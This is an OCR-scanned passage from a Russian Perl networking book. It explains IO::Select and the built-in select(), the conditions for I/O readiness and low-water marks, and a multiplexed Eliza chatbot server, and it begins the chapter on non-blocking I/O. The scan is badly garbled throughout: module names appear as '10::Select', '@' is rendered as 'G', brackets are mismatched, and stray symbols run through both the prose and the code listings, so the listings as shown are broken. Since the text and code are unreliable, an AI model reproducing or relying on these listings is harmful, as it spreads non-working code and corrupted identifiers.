В поставку Perl, начиная с версии 5.003, входит объектно-ориентированный класс
оболочки 10: : Select. Создается объект IO: : Select, к нему добавляются
дескрипторы, которые необходимо контролировать, а затем вызываются методы
can_read (), can_write () или has exception () для ожидания готовности одного
или нескольких дескрипторов этого объекта к вводу-выводу.
[ $ select = IO: :Select->new'([ehandles] > "" ~ V" *£*" ' -lJ I
jr Для создания нового объекта io::select применяется метод new.y класса io^seiect>,OH
может быть вызван со списком дескрипторов, которые в^этом случае будут добавлены к списку, кон-'
тролируемому модулем-гоЛ :.select, или с пустым списком параметров— в этом случае контроли-"
j руемый набор вначале будет пуст: >.. ,.,„ _ __ ^ ^ ,„. -, , , .^.,„;^« „ *
Список дескрипторов может состоять из дескрипторов файлов любого типа,
включая объекты 10: : Handle, шаблоны типа и ссылки на шаблоны типа. Можно
также добавлять и удалять дескрипторы после создания объекта.
Глава 12. Мультиплексные приложения
355
$select->add(@handles)
Этот метод добавляет к контролируемому набору список дескрипторов и возвращает число
успешно добавленных уникальных дескрипторов. При попытке несколько раз добавить одни и те же
дескрипторы дублирующиеся элементы списка игнорируются.v- ri
'I
$select->rtjm.-ve(ghandles) * s'l* _$.
Этот метод удаляет списокЦёскрШторов файлов из контролируемого .^набора ^дескрипторов ,
файлов, указанных б списке. Модуль Ю:: Select индексирует дескрипторы по номерам файлов, *
поэтому при добавлении дескриптора можно применять один из способов его обозначения
(HanpHMep^STDOpT)i а при удалении—другой (например, \*STpquT) <■ 1
$value = $select->exists($handle) к
" ijcount = .$sel^ct->opunfc ,£ >E,
Это — вспомогательные процедуры. Метод exists {) возвращает истинное значение, если
дескрипторе настоящее время является членом контролируемого набора: Метод count (} возвращает „
чибло дескрипторов, содержащихся в наборе Ю: -Select- -, |
Методы can_read (), can_write () и has_exception () позволяют
контролировать изменения состояния дескрипторов в списке.
г" *£ readable = $select->can_read( [$ timeout])
вwritable = $select->can_write([$timeout])
6exceptional = $select->has_exception([$timeout]) '
Каждый из методов jcaiuread(.), can^wri.te С) и ?has^exceptioh ) вызывает функцию
select () от имени пользователя, возвращая массив дескрипторов файлов, готовых для чтения .
'(записи) или содержащих,необработанные исключительные условия. Вызовы этих функций блоки-/
'руются до-тех пор. пока не поступит информация хотя бы от одного из дескрипторов объекта3
Ю:: Select или пока не истечет тайм-аут, заданный необязательным параметром $ timeout. В по-'
следнем случае вызов возвращает лустой список. Тайм-аут выражается в секундах' и может быть *
определен,в долях секунды.. ,«** »■. ■.< ,ч. j
Любой из этих методов%южет возвратить пустой список, е£пи процесс его выполнения прерван S
сигналом. Поэтому необходимо всегда проверять, содержит ли возвращенный список дескрипторы :
файлов, даже если не предусмотрен тайм-аут. 5 {; т|
Если в программе есть необходимость проверять одновременно дескрипторы
чтения и записи, для этого применяется метод select ().
*"j: ($rout,$wout,$eout) = -->-.*-. |
■ ,.-. IO::Select->select($readere,$writers,$except[,$timeout]) i
seiectf) — это метод класса,. который позволяет получить информацию сразу р нескольких \
наборах дескрипторов Ю:: Select. В качестве параметров $dreaders,. $writers и Sexcept могут j
"быть указаны объекты iO::Select или значения undef. а необязательный параметр Stimeout no-.j
} зволяет задать тайм-аут в секундах. Если какой-либо дескриптор в любом из наборов перешел в со- |
j стояние готовности для ввода-вывода, метод select H возвращает трехэлементный список, каж- "
! дый элемент которого представляет собой ссылку на массив, содержащий дескрипторы, готовые для
; чтения (записи) или имеющие исключительное состояние. Если метод select!) завершил свое вы^
исполнение по тайм-ауту .или был прерван сигналом, прежде чем любой из дескрипторов мог предос- а
[„тавить информацию об изменении своегосостояний, он возвращает пустой список. .« ;••■"■
Исключительными состояниями в сокетах называют не то, что обычно
подразумевается под этим термином. Исключительное состояние возникает при получении
в сокете TCP срочных данных (информация о том, как создавать и обрабатывать
срочные данные, приведена в главе 17). Ошибка ввода-вывода в сокете не
вырабатывает исключительного состояния, а переводит сокет в состояние готовности к
чтению и записи. После обнаружения этого состояния можно определить характер
ошибки, выполнив чтение или запись в сокет и проверив переменную $ !.
356
Часть Ш. Разработка систем TCP типа клиент/сервер
Метод 10: : Select->select () может также применяться для перевода текущего
процесса в состояние ожидания на время, измеряемое в долях секунды. Для этого
достаточно вызвать данный метод с использованием значения uncle f во всех трех
параметрах с обозначением наборов 10: : Select и указать число секунд, на которое
должен быть остановлен процесс. Приведенный ниже фрагмент кода вызывает
приостановку программы на 0,25 секунды.
10::Select->select(undef,undef,undef,0.25);
Как и при использовании функции sleep (), метод select () при этом
прерывании сигналом преждевременно выполняет возврат. Не следует рассчитывать на то,
что в приведенном выше примере пауза будет составлять ровно 250 мс, поскольку
точность соблюдения выдержки времени методом select () ограничена
разрешающей способностью системных часов, которая может не измеряться в миллисекундах.
Для получения версии функции sleep () с микросекундной разрешающей
способностью может применяться модуль Time: : HiRes, который имеется в архиве CPAN.
Встроенная функция select()
Встроенная функция select () представляет собой примитив языка Perl,
который применяется самим модулем 10: : Select. Эта функция вызывается с четырьмя
параметрами.
$nready = select($readers,$writers,$exceptions, $timeout);
К сожалению, схема передачи параметров функции select () является
устаревшей и нарушает принципы Perl, поскольку требует выполнения сложных
манипуляций битовыми векторами. Примеры применения этой функции можно встретить
в старых сценариях, но модуль IO: : Select и проще в использовании, и способствует
уменьшению числа ошибок. Однако функция select () может применяться для
перевода программы в состояние ожидания на время, измеряемое в долях секунды, без
импорта модуля 10: : Select:
select(undef,undef,undef,0.25);
He следует путать версию select () с четырьмя параметрами и версию с одним
параметром, описанную в главе 1. Последняя применяется для выбора дескриптора
файла, используемого по умолчанию с функцией print ().
Подробное описание встроенной функции select () приведено в справочном
руководстве perlf unk.
Определение готовности дескриптора файла
к вводу-выводу
Чтобы воспользоваться всеми преимуществами метода select (), важно понять,
по каким правилам определяется готовность дескриптора к вводу-выводу. Некоторые
из этих правил применяются в равной степени к обычным дескрипторам файлов,
каналам и сокетам, а другие относятся только к сокетам. Дескрипторы файлов, каналы
и сокеты готовы для чтения при следующих условиях.
1. Дескриптор файла содержит данные, ожидающие обработки. Если во входном
буфере дескриптора файла (приемного буфера в случае сокетов) содержится
хотя бы один байт данных, метод select () указывает, что дескриптор файла
Глава 12. Мультиплексные приложения
357
готов для чтения. Функция sysread (), выполняемая с этим дескриптором
файла, не блокируется и возвращает число считанных байтов.
Для сокетов это правило может быть изменено путем установки "нижней
отметки" приемного буфера, как описано в следующем разделе.
2. Дескриптор файла содержит признак конца файла. Метод select () указывает,
что дескриптор файла готов для чтения, если при выполнении следующей
операции чтения будет возвращен признак конца файла. При следующем вызове
функции sysread () будет возвращено числовое значение 0 без блокировки.
Такая ситуация в обычных дескрипторах файлов возникает при достижении конца
файла, а в сокетах TCP — при закрытии соединения удаленным хостом.
3. Дескриптор файла содержит сообщение об ошибке, ожидающее
обработки. В результате возникновения любой ошибки ввода-вывода в
дескрипторе файла метод select () также указывает, что дескриптор готов для
чтения, а функция sysread () возвращает значение undef и устанавливает
в переменной $ ! код ошибки.
Кроме того, метод select () указьшает, что сокет готов для чтения, при
следующих условиях.
1. Приемный сокет содержит входящий запрос на установление соединения.
Метод select () указывает, что приемный сокет готов для чтения, если он
содержит ожидающий обработки входящий запрос на установление соединения.
Метод accept () возвращает подключенный сокет без блокировки.
2. Сокет UDP содержит входящую дейтаграмму. Сокет готов для чтения, если
в нем применяется протокол UDP и содержится входящая дейтаграмма,
доступная для чтения. Функция recv () возвращает дейтаграмму без блокировки.
Протокол UDP рассматривается в главе 18.
Дескрипторы файлов, каналы и сокеты в целом готовы для записи при следующих
условиях.
1. В выходном буфере есть место для новых данных. Если в выходном буфере
дескриптора файла (передающем буфере в случае сокетов) есть свободное место
объемом хотя бы один байт, то запись с помощью функции syswrite () одного байта
будет выполнена успешно без блокировки. Однако вызов функции syswrite () для
записи более одного байта все еще может быть заблокирован, если объем
записываемых данных превышает объем свободного места. Для сокетов это правило
может быть изменено путем установки нижней отметки передающего буфера.
Если дескриптор файла отмечен как неблокирующий, то функция syswrite ()
всегда выполняется успешно, без блокировки, и возвращает число фактически
записанных байтов. Неблокирующий ввод-вывод рассматривается в главе 13.
2- Дескриптор файла содержит ошибку, ожидающую обработки. В результате
возникновения любой ошибки ввода-вывода в дескрипторе файла метод
select () указывает, что дескриптор готов для записи, а функция syswrite ()
не блокируется, а возвращает значение undef в качестве результата своего
выполнения. Переменная $ ! содержит код ошибки.
Кроме того, сокеты готовы для записи при следующих условиях.
1. Другой участник соединения закрыл свою сторону соединения. Если сокет
подключен и другой участник соединения закрыл соединение или выполнил функ-
358
Часть III. Разработка систем TCP типа клиент/сервер
цию shutdown (), то метод select () указывает, что сокет готов для записи.
При следующей попытке выполнения функции syswrite () вырабатывается
исключение PIPE. Если сигналы PIPE игнорируются или обрабатываются, то
функция syswrite () возвращает значение undef и устанавливает в
переменной $! код ошибки EPIPE. Локальные каналы ведут себя таким же образом.
2. Инициирована попытка неблокирующего подключения, и эта попытка была
завершена. Если сокет TCP является неблокирующим и предпринимается
попытка его подключения, то при вызове функции connect () немедленно
выполняется возврат, и действия по подключению продолжаются в фоновом
режиме. После того как попытка подключения в конечном итоге завершается
(успешно или с ошибкой), метод select () указывает, что сокет готов для
записи. Эта ситуация описана более подробно в главе 13.
Исключительные состояния могут возникать только в сокетах. Есть только одно
исключительное состояние, которое возникает при наличии в подключенном сокете
TCP срочных данных, которые должны быть считаны. Описание того, как
применяются срочные данные, приведено в главе 17.
Объединение средств метода select() со
стандартными средствами ввода-вывода
При использовании метода select () для мультиплексирования ввода-вывода
необходимо тщательно следить за тем, чтобы этот метод не применялся в сочетании
с функциями, в которых используется буферизация библиотеки stdio. Это связано
с тем, что функции библиотеки stdio сопровождают собственные буфера ввода-
вывода, независимые от буферов, применяемых операционной системой. Методу
select () не известно об этих буферах; в результате он может указать, что нет
больше данных для чтения из дескриптора файла, а в действительности данные будут
оставаться в другом буфере. Это может привести к нарушению работы и путанице.
В мультиплексных программах следует избегать использования оператора о,
функций print () и read(), а также встроенной функции getline() и метода
10: :Handle->getline (). Вместо этого нужно применять исключительно только
вызовы sysread() и syswrite () низкого уровня. В результате выполнение
построчного ввода-вывода усложняется. Однако в главе 13 описаны некоторые модули,
позволяющие преодолеть это ограничение.
Корректировка нижних отметок
В некоторых версиях UNIX можно управлять готовностью сокета для чтения или
записи, Изменяя нижние отметки приемного и/или передающего буферов сокета.
Нижняя отметка приемного буфера указывает, какой объем данных должен в нем
накопиться, прежде чем метод select () укажет, что он готов для чтения, и в этом случае
функция sysread() может быть вызвана без блокировки. Нижняя отметка по умолчанию
равна одному байту, но это значение можно изменить, вызвав метод setsockopt()
с опцией SO_RCVLOWAT. Иногда может потребоваться изменить это значение, если от
второго участника соединения ожидается получение фрагментов данных
фиксированного размера и нет смысла заниматься обработкой неполных сообщений.
Глава 12. Мультиплексные приложения
359
При записи в сокет нижняя отметка указывает, какое число байтов данных может
быть записано в сокет с помощью функции syswrite () без блокировки. По
умолчанию нижняя отметка равна одному байту, но это значение можно изменить, вызвав
метод setsockopt() с опцией SO_SNDLOWAT.
В различных операционных системах средства изменения нижних отметок
буферов сокета реализованы по-разному. Они могут применяться в большинстве версий
UNIX, но отсутствуют в системах Windows и Macintosh. Кроме того, ядро Linux
(вплоть до версии 2.4) позволяет устанавливать нижнюю отметку приемного, но не
передающего буфера.
Мультиплексный психотерапевтический
сервер
В настоящем разделе описана версия сервера Chatbot: : Eliza, в которой
применяется мультиплексирование. Она может служить иллюстрацией того, как работает
типичный мультиплексный сервер. Основной принцип действия этого сервера
соответствует следующей общей схеме.
1. Создание приемного сокета.
2. Создание набора дескрипторов 10: : Select и добавление приемного сокета
к списку сокетов, контролируемых для определения готовности для чтения.
3. Переход к выполнению цикла select ().
4. После возврата из цикла select () проверка списка сокетов, готовых для
чтения. Если в их число входит приемный сокет, выполняется вызов функции
accept () и добавление результирующего подключенного сокета к набору
дескрипторов 10::Select.
5. Если для чтения готовы другие сокеты, осуществляется выполнение в них
операции ввода-вывода.
6. Удаление сокетов клиентских соединений из набора дескрипторов
IO:: Select по мере завершения их выполнения.
В данной версии сервера Eliza показано, как эта схема реализуется на практике.
Главная программа сервера
Новый сервер eliza_select. pi состоит из главной части, показанной в
листинге 12.2, и модуля Chatbot: : Eliza: : Polite, который образует подкласс класса
Chatbot::Eliza.
Такое значительное изменение проекта по сравнению с предыдущими версиями
сервера связано с необходимостью разбить на две части метод
command_interface () объекта Chatbot: :Eliza. Дело в том, что метод
command_interf асе () имеет собственный цикл ввода-вывода, который не
освобождает соединение до тех пор, пока не завершится диалог с клиентом. Этого
нельзя позволить, поскольку такая организация работы приводит к блокировке друтих
клиентов.
360
Часть Ш. Разработка систем TCP типа клиент/сервер
Вместо этого снова создается подкласс класса Chatbot: : Eliza для создания
"вежливой" версии, способной уступить место другим клиентам, в которой добавлены
три новых метода: welcome (), one_line() и done (). Первый метод возвращает
строку с приветствием, которое пользователь видит сразу после подключения.
Второй метод принимает строку, введенную пользователем, преобразует ее и возвращает
строку, содержащую ответ психотерапевта с новым приглашением к вводу
информации пользователем. Третий метод done () возвращает истинное значение, если
предыдущая строка, введенная пользователем, содержала одну из фраз, требующих
завершения работы, таких как "bye", "goodbye" или "exit".
Еще одно изменение необходимо для контроля за многочисленными
экземплярами объектов Chatbot: : Eliza. Поскольку каждый объект ведет собственную
регистрацию высказываний пользователя, необходимо связать каждый подключенный со-
кет с уникальным объектом Eliza.
Это можно сделать путем создания глобального хеша % SESSIONS, ключами
которого являются объекты сокетов, а значениями— связанные с ними объекты
Chatbot: : Eliza. После того как метод can_read () возвращает сокет, готовый для
ввода-вывода, хеш % SESSIONS применяется для поиска соответствующего объекта
Chatbot::Eliza.
Вначале рассмотрим главную часть программы.
Листинг 12.2. Мультиплексный психотерап- втический сервер
0: #!/usr/local/bin/perl -w
1: # Файл: eliza select.pl
use 10::Socket;
use 10::Select;
use Chatbot::Eliza::Polite;
use strict;
6: my %SESSI0NS; # Хеш объектов Eliza, ключами которого
# служат сокеты
7: use constant PORT => 12000;
8: my $listen_socket = 10::Socket::INET->new(LocalPort => PORT,
9: Listen => 20,
10: Proto => 'tcp',
11: Reuse => 1);
12: die $G unless $listen_socket;
13: my $readers = 10::Select->new() or
die "Can't create I0::Select read object";
14: $readers->add($listen_socket);
15: warn "Listening for connections..An";
16: while (1) {
17: my Gready = $readers->can_read;
18: for my $handle (Gready) {
19: if ($handle eg $listen_socket) { # Цикл accept()
20: my $connect = $listen socket->accept ();
Глава 12. Мультиплексные приложения
361
21: my Seliza = $SESSIONS{$connect} =
new Chatbot::Eliza::Polite;
22: syswrite($connect,$eliza->welcome);
23: $readers->add($connect);
24: )
25
26
27
28
29
30
31
32
34
35
36
37
38
elsif (my $eliza = $SESSIONS{$handle)} {
my $user_input;
my $bytes = sysread($handle,$user_input,1024);
if ($bytes > 0) {
chomp($user_input);
my $response = $eliza->one_line($user_input);
syswrite($handle,$response);
}
33: if (!$bytes or $eliza->done) { # Объект Chatbot
# показывает, что сеанс завершен
$readers->remove($handle);
close $handle;
delete $SESSIONS{$handle);
}
)
39: ) # Конец цикла for $handle (Gready)
40: } # Конец цикла while can read()
Проведем анализ программы.
Строки 1-6. Загрузка модулей. Загружаются модули io::Socket, Ю::Select
и chatbot::Eliza::Polite. Объявляется также хеш %SESSioNS для отображения
экземпляров IO::Socket на объекты Chatbot.
Строки 7-12. Создание приемного сокета. Создается приемный сокет, привязанный к порту,
применяемому по умолчанию.
Строки 13-15. Добавление приемного сокета к набору дескрипторов объекта
Ю:: select. Создается ноаый объект Ю:: Select, и к его набору дескрипторов добавляется
приемный сокет.
Строки 16-18. Главный цикл select(). Теперь программа входит в главный цикл. При
каждом проходе по циклу вызывается метод can_read() объекта Ю::Select. Этот метод
блокируется на неопределенное время, пока приемный сокет не будет готов к выполнению
функции accept () или подключенный сокет (ни один из них еще не был добавлен к набору
дескрипторов) не будет готов для чтения.
Строка 18. Просмотр в цикле готовых дескрипторов. После выполнения функция
can_read () возвращает список дескрипторов файлов, готовых для чтения. Теперь
необходимо просмотреть этот список в цикле и определить, что делать с каждым из них
Строки 19-24. Обработка приемного сокета. Если дескриптор относится к приемному со-
кету, то вызывается его метод accept (), что приводит к созданию нового подключенного
сокета. Создается новый объект chatbot::Eliza::Polite для обработки соединения,
а сокет и объект chatbot добавляются к хешу %sessions. Поскольку а качестве ключа
хеша применяется униквльное имя объекта сокета, это позволяет извлекать из хеша соответ-
стаующий объект chatbot каждый раз, когда возникает необходимость выполнить ввод-
вывод в конкретном сокете.
После создания объекта chatbot вызывается метод welcome(). Этот метод возвращает
приветственное сообщение, которое отправляется с помощью функции syswrite () вновь
подключенному клиенту. После этого подключенный сокет добавляется к набору дескрипторов
362
Часть Ш. Разработка систем TCP типа клиент/сервер
объекта Ю::Select путем вызова метода Ю: :Select->add(). Теперь подключенный сокет
будет проверяться на наличие входящих данных при следующем проходе по циклу.
• Строки 25-27. Выполнение ввода-вывода в подключенном сокете. Если дескриптор готов
для чтения и это не дескриптор приемного сокета, то это должен быть дескриптор
подключенного сокета в соединении, принятом в одном из предыдущих проходов по циклу. Из хеша
%sessions извлекается соответствующий объект chatbot. Если поиск в хеше завершается
неудачей (что в принципе не должно случиться), достаточно просто проигнорировать этот
сокет и перейти к следующему готовому сокету.
В ином случае необходимо прочитать строку, введенную пользователем. В данном случае
выражение "чтение строки, введенной пользователем" не соответствует действительности,
поскольку в операциях построчного чтения языка Perl, включая метод getline () сокета,
используется буферизация библиотеки stdio и поэтому они не совместимы с вызовами метода
select ().
В следующей главе показано, как создать собственную функцию построчного чтения,
совместимую с методом select (), но в данном случае мы обойдем эту проблему,
считывая с помощью функции sysreadO, ориентированной на обработку потока байтов, до
1024 символов и рассматривая их так, как если бы они составляли полную строку.
Обычно пользователь при вводе информации в интерактивном режиме не выходит за пределы
этого ограничения, поэтому установленный объем ввода является вполне приемлемым
для данного сервера.
• Строки 28-32. Отправка ответа клиенту. Функция sysreadO возвращает либо число
считанных байтов, либо 0, если это— конец файла. Поскольку вызов является небуферизован-
ным, то число возвращенных байтов может быть больше нуля, но не больше затребоаанного
нами числа байтов.
Если переменная $bytes имеет положительное значение, то получены данные, требующие
обработки. Выполняется обработка данных и передача их методу one_iine () объекта Eliza,
который принимает строку, введенную пользователем, и возвращает ответ. Для отправки
этого ответа клиенту вызывается метод syswrite о. Если переменная Sbytes равна о или
имеет значение undef, этот результат рассматривается как признак конца файла и поэтому
происходит переход к следующему разделу кода для закрытия сеанса.
• Строки 33-38. Выполнение действий для завершения сеанса. Последняя часть этого цикла
отвечает за закрытие сеансов.
Сеанс должен быть закрыт, если возникла одна из следующих двух ситуаций. Во-первых, код
результата о, полученный от функции sysread (), указывает, что клиент закрыл свой конец
соединения. Во-вторых, пользователь ввел одну из нескольких заключительных фраз,
распознаваемых сервером Eliza, таких как "bye", "quit" или "goodbye". В этом случае метод
done () сервера Eliza возвращает истинное значение.
Выполняется проверка наличия обеих ситуаций. В любом случае происходит удаление сокета
из списка дескрипторов, контролируемых объектом Ю:: Select, его закрытие и удаление из
хеша %sessions.
Обратите внимание, что полученный от функции sysreadO код возврата
undef, который указывает на ошибку ввода-вывода любого типа, рассматривается
так же, как конец файла. Зачастую этого вполне достаточно, но в сервере,
который обрабатывает важные данные, может потребоваться проводить различия
между сознательным закрытием соединения клиентом и ошибкой. В этом случае
можно проверить переменную $bytes с помощью функции defined() для
распознавания этих ситуаций.
Модуль Chatbot::Eliza::Polite
В листинге 12.3 показан код модуля Chatbot: : Eliza: : Polite. Как и предыдущая
версия, применяемая для работы с потоками, этот модуль был создан путем вырезки
и вставки первоначального исходного кода модуля Chatbot: : Eliza.
Глава 12. Мультиплексные приложения
363
ЛИСТИНГ 12.3. Модуль Chatbot: :Eliza: : Polite
0: package Chatbot::Eliza::Polite;
1: use Chatbot::Eliza;
2: use vars 'GISA';
3: GISA = 'Chatbot::Eliza';
4: # Возвращает строку приветствия
5: sub welcome {
6: my $self = shift;
7: $self->botprompt($self->name . ":\t"); # Установить
# приглашение для программы Eliza
8: $self->userprompt("you:\t"); # Установить
# приглашение для пользователя
9: # Подготовить приветственное сообщение
10: return join ('*,
11: $self->botprompt,
12: $self->{initial}->[ int rand scalar
G( $self->{initial} ) ],"\n",
13: $self->userprompt);
14: }
15: # Вернуть ответ на строку, введенную пользователем
16: sub one_line {
17: my $self = shift;
18: my $in = shift;
19: my $reply;
20: # Если пользователь желает завершить работу,
21: # вывести заключительное сообщение и выйти из программы
22: if ( $self->_testquit($in) ) {
23: $reply = $self->{final}->[ int rand scalar
G{ $self->{final) } ];
24: $self->(_quit}++; # Выставить флажок завершения
# работы
25: return $reply . "\n";
26: }
27: # Вызвать метод transform
28: # для подготовки ответа
29: $reply = $self->transform( $in );
30: return join ('',
31: $self->botprompt,
32: $reply,"\n",
33: $self->userprompt);
34: }
35: # Возвратить истинное значение, если сеанс окончен
36: sub done { return shift->{_quit} }
37: 1;
364
Часть Ш. Разработка систем TCP типа клиент/сервер
Проведем анализ программы.
• Строки 1-3. Настройка модуля. Загружается модуль chatbot:: Eliza, и текущий пакет
объявляется его подклассом путем размещения имени родительского модуля в массиве Gisa.
• Строки 4-14. Метод welcome (). Данный метод содержит копию начвльной части старого
метода command_interf асе (). Он устанавливает для двух приглашений (первое выводится
перед высказываниями психотерапевта, а второе — перед строками, вводимыми пользователем)
подходящие значения по умолчанию, а затем возвращает приветствие, выбранное случайным
образом из внутреннего списка. В этой строке добавляется приглашение к вводу информации
пользователя.
• Строки 15-34. Метод one_iine(). Этот метод принимает в качестве входной
информации строку, введенную пользователем, и возвращает ответ. Выполнение метода
начинается с проверки заключительных фраз в информации, введенной пользователем. Если
в этой строке содержится одна из таких фраз, то из списка фраз, завершающих диалог,
случайным образом выбирается текст, выражающий восхищение результатами общения
с пользователем, устанавливается внутренний флажок, указывающий, что пользователь
завершил работу, и возвращается ответ. В ином случае вызывается унаследованный
метод transform() для преобразования ответа пользователя в подходящее
многозначительное высказывание психотерапевта, и готовый ответ возвращается вместе со
следующим приглашением.
• Строки 35,36. Метод done(). В этом методе выполняется проверка того, был ли установлен
внутренний флажок выхода в методе опе_1±пе (), и возвращается истинное значение, если
пользователь желает закончить работу.
Недостатки данной версии
психотерапевтического сервера
Вы можете вызвать на выполнение эту версию сервера, подключиться к нему по
telnet (или воспользоваться одним из клиентов gab, разработанных в этой или
предыдущих главах) и провести приятную беседу. Оставив открытым один сеанс,
вы можете открыть несколько новых и убедиться в том, что все они правильно
поддерживают диалог.
К сожалению, этот сервер работает не совсем правильно. Он начнет давать сбои,
как только вы попытаетесь его использовать не в интерактивном режиме, например,
выполняя один из клиентских сценариев в пакетном режиме со стандартным вводом,
перенаправленным из файла. В ответах могут появляться искаженные слова или
содержаться встроенные символы обозначения конца строки. Причина этого в том, что
было принято неправильное предположение, что функция sysreadO возвращает
полную строку текста при каждом вызове. В действительности функция sysreadO
не предназначена для построчной передачи данных и только кажется действующей
в таком режиме при использовании с клиентом, который передает данные в виде
отдельных строк. Если клиент не ведет себя так, то функция sysread () может вернуть
небольшой фрагмент данных, имеющий длину меньше целой строки, или может
вернуть данные, содержащие несколько строк.
Поскольку мы должны избегать использования оператора О, очевидное решение
состоит в написании собственной процедуры readline (). После вызова эта
процедура должна буферизовать вызовы функции sysreadO, возвращая только часть
буфера, вплоть до первого обозначения конца строки. Если конец строки не будет сразу
же обнаружен, процедура readline () должна вызвать функцию sysread () столько
раз, сколько потребуется.
Глава 12. Мультиплексные приложения
365
Однако такое решение только переводит проблему в иную плоскость, поскольку
функция select () лишь гарантирует, что не будет заблокирован первый вызов
функции sysread(). Плохо написанная клиентская программа или программа,
написанная со злым умыслом, может привести в неработоспособное состояние весь
этот сервер, если из нее будет отправлен единственный байт данных, не
являющийся признаком конца строки. Наша процедура readline () прочитает этот байт,
снова вызовет функцию sysread() для осуществления попытки получить признак
конца строки и заблокируется на неопределенное время. Во избежание такой
ситуации необходимо снова вызвать функцию select () в процедуре readline ()
или установить тайм-аут для выполнения операции чтения с использованием общей
схемы, описанной в разделе "Завершение по тайм-ауту продолжительных
системных вызовов" главы 2.
Однако в мультиплексных серверах с этим связана еще одна проблема, которую
решить не так просто. Что произойдет, если клиент подключится к серверу, отправит
в него огромный объем данных, но не станет читать отправляемую ему информацию?
В результате буфер сокета с клиентской стороны соединения заполнится, что
приведет к приостановке дальнейшей передачи данных по протоколу TCP. Эта ситуация,
в свою очередь, отразится на работе сервера под действием средств управления
потоком протокола TCP и, в конечном итоге, вызовет блокировку сервера при
выполнении функции syswrite (). В результате, все текущие сеансы зависнут и сервер
больше не сможет принимать входящие соединения.
Для решения этой проблемы необходимо применять неблокирующий ввод-вывод.
В следующей главе описано два полезных модуля. Один из них, IO: :Getline,
предоставляет оболочку для дескрипторов файлов, позволяющую безопасно выполнять
операции построчного чтения в сочетании с методом select (). Другой модуль,
10:: SessionSet, позволяет буферизовать запись частичных данных и решить
проблему останова сервера из-за блокировки записи.
Резюме
Настоящая глава завершает обзор трех основных методов, предназначенных для
обслуживания одновременно работающих потоковых соединений. Каждый из этих
методов имеет свои преимущества и недостатки.
Мультипроцессный метод, реализуемый на основе функции fork (), в настоящее
время может применяться только на платформах UNIX и Win32 (с использованием
версий Perl 5.6 или последующих версий). Он требует больших затрат ресурсов
системы по сравнению с другими методами, поскольку для обслуживания каждого
соединения применяется отдельный процесс, но программы, созданные на основе этого
метода, как правило, проще и надежнее.
Многопоточная обработка реализована на платформе Win32, а также на многих
платформах UNIX и требует применения версии Perl со встроенной поддержкой
потоков. В многопоточных приложениях необходимо строго соблюдать правила
блокировки и освобождения разделяемых переменных и других ресурсов, в
результате чего код становится более сложным. До сих пор в рассматриваемых примерах
удавалось обходиться без блокировки, но эта проблема неизбежно возникает в
реальных сетевых приложениях. Средства поддержки потоков в текущих версиях Perl
366
Часть III. Разработка систем TCP типа клиент/сервер
не являются достаточно устойчивыми, и в дальнейшем API-интерфейс этих
средств, вероятно, изменится.
Мультиплексирование может применяться на всех платформах, где работает
интерпретатор Perl, включая Macintosh. Недостаток этого метода состоит в том, что
логика программы становится намного сложнее, поскольку возникает необходимость
чередовать операции ввода-вывода, относящиеся к нескольким сеансам. Кроме того,
этот метод может стать достаточно надежным только в сочетании с неблокирующим
вводом-выводом, что приводит к значительному усложнению кода.
Глава 12. Мультиплексные приложения
367
Глава [Тз|
Не блокирующий
ввод-вывод
По умолчанию в большинстве операционных систем ввод-вывод является
блокирующим. Если запрос на чтение или запись некоторых данных не может быть выполнен
немедленно, то операционная система переводит программу в состояние ожидания до
тех пор, пока вызов не будет выполнен, или вырабатывает сообщение об ошибке. Это
не вызывает проблем при выполнении большинства задач программирования,
поскольку дисководы, окна терминалов и другие устройства ввода-вывода работают
относительно быстро, по крайней мере, с точки зрения человека. Однако, как было показано
в предыдущей главе, блокировка затрудняет создание программ для систем
клиент/сервер, поскольку единственный заблокированный сетевой вызов может привести
к зависанию всей программы и переводу всех прочих запросов в состояние ожидания.
Во избежание таких проблем при операциях чтения или записи можно либо
применить несколько параллельно работающих потоков выполнения, как при использовании
мультипроцессных и многопоточных серверов, либо использовать функцию select ()
для определения того, какие дескрипторы файлов готовы к вводу-выводу. Однако
последний подход создает другую проблему, поскольку сокет или другой дескриптор файла
все равно может быть заблокирован при выполнении функции sys write (), если будет
предпринята попытка записать больше данных, чем он может принять. В этом случае
попытка записи блокируется и программа останавливается. Для предотвращения этой
ситуации можно использовать неблокирующий ввод-вывод.
В этой главе описаны методы настройки и использования неблокирующего ввода-
вывода. Неблокирующий ввод-вывод позволяет не только предотвратить блокировку
при выполнении операций чтения и записи, но и исключить продолжительное
ожидание при вызове функции connect (}. Как будет показано ниже, неблокирующий
ввод-вывод устраняет проблемы, связанные с управлением потоками и процессами,
но порождает другие сложности.
Создание неблокирующих дескрипторов
ввода-вывода
Дескриптор файла Perl можно сделать неблокирующим во время его открытия или
перевести в неблокирующее состояние в любой последующий момент. Неблокирую-
368 Часть III. Разработка систем TCP типа клиент/сервер
щий дескриптор файла при выполнении операций чтения или записи не
блокируется, а вырабатывает сообщение об ошибке. Такие дескрипторы файлов могут
безопасно эксплуатироваться только при использовании функций sysread {) и syswrite ().
В связи с особенностями буферизации, использование неблокирующих дескрипторов
в сочетании с процедурами библиотеки stdio, применяемыми в функциях высокого
уровня, приводит к появлению множества проблем.
Неблокирующий дескриптор всегда немедленно выполняет возврат из функций
sysread () или syswrite (). Если вызов этих функций мог быть выполнен без
блокировки, он возвращает число записанных или считанных байтов. Если вызов должен
быть заблокирован, он возвращает значение uncle f и устанавливает в переменной $ !
код ошибки EWOULDBLOCK (известный также под именем EAGAIN). Строковая форма
кода EWOULDBLOCK может выглядеть по-разному, например "operation in
progress" (выполняется другая операция) или "resource temporarily
unavailable" (ресурс временно недоступен). При выполнении функций sysread ()
и syswrite (), как всегда, могут встретиться и другие ошибки ввода-вывода.
Константа EWOULDBLOCK может быть импортирована из модуля Errno.
Еще одной отличительной особенностью неблокирующего дескриптора является
то, что он допускает частичную запись. При использовании обычного блокирующего
дескриптора функция syswrite () не выполняет возврат, пока не появится
возможность выполнить весь запрос. Однако при неблокирующих дескрипторах это
поведение меняется — при появлении возможности немедленно выполнить не весь запрос
на запись, а только его часть, функция syswrite () записывает возможный объем
данных, а затем возвращает число отправленных байтов. Напомним, что частичное
чтение с помощью функции sysread () всегда возможно, независимо от состояния
блокировки дескриптора.
Создание неблокирующих дескрипторов:
функциональный интерфейс
В языке Perl предусмотрен и интерфейс низкого уровня, и объектно-
ориентированный интерфейс для создания и применения неблокирующих
дескрипторов. Вначале будет рассмотрен интерфейс низкого уровня, а затем будет показано,
насколько удобнее становится API-интерфейс в объектно-ориентированных версиях.
~ -1 ™
